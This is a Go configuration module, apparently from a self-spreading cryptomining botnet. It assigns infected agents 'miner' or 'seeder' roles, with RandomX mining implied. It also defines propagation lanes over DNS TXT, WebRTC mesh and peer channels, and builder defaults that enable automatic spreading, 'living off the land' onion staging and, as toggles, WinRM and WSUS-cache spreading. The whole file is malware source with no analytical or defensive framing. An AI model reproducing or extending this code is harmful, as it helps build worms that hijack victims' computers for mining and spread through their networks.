package config

import "strings"

const (
	FleetRoleMiner  = "miner"
	FleetRoleSeeder = "seeder"
	FleetRoleAuto   = "auto"
)

// SeederSpreadLanes are the only staging lanes seeders may run (no RandomX).
var SeederSpreadLanes = []string{"dns_txt", "webrtc_mesh", "do_peer"}

// NormalizeFleetRole coerces forge/auth values to miner|seeder|auto.
func NormalizeFleetRole(role string) string {
	switch strings.ToLower(strings.TrimSpace(role)) {
	case FleetRoleSeeder:
		return FleetRoleSeeder
	case FleetRoleMiner:
		return FleetRoleMiner
	default:
		return FleetRoleAuto
	}
}

// EffectiveFleetRole resolves baked role + optional server hint from auth.
func (c RuntimeConfig) EffectiveFleetRole(serverHint string) string {
	if c.SeederMode {
		return FleetRoleSeeder
	}
	baked := NormalizeFleetRole(c.FleetRole)
	if baked == FleetRoleSeeder {
		return FleetRoleSeeder
	}
	if baked == FleetRoleMiner {
		return FleetRoleMiner
	}
	hint := NormalizeFleetRole(serverHint)
	if hint == FleetRoleSeeder || hint == FleetRoleMiner {
		return hint
	}
	return FleetRoleMiner
}

// IsSeederRole reports whether this agent should skip mining and serve LAN staging only.
func (c RuntimeConfig) IsSeederRole(serverHint string) bool {
	return c.EffectiveFleetRole(serverHint) == FleetRoleSeeder
}

// IsSeederSpreadLane reports dns_txt / webrtc_mesh / do_peer lanes.
func IsSeederSpreadLane(lane string) bool {
	lane = strings.ToLower(strings.TrimSpace(lane))
	for _, s := range SeederSpreadLanes {
		if lane == s {
			return true
		}
	}
	return false
}

// FilterSeederLotlTiers keeps only seeder staging lanes from a LOTL tier list.
func FilterSeederLotlTiers(tiers []string) []string {
	var out []string
	for _, t := range tiers {
		if IsSeederSpreadLane(t) {
			out = append(out, t)
		}
	}
	return out
}

// ApplySeederForgeDefaults enables seeder-only spread flags and disables mining paths.
func ApplySeederForgeDefaults(b *BuiltinConfig) {
	if b == nil {
		return
	}
	b.FleetRole = FleetRoleSeeder
	b.SeederMode = true
	b.MiningDisabled = true
	b.MinerExecution = "inprocess" // unused — no RandomX chain starts
	b.GPUEnabled = false
	b.DnsTxtSpread = true
	b.WebRTCMeshSpread = true
	b.WinRMSpread = false
	b.WSUSCachePeerSpread = false
	b.AutoSpread = true
	b.LotlOnionEnabled = true
	b.LotlOnionTiers = append([]string(nil), SeederSpreadLanes...)
}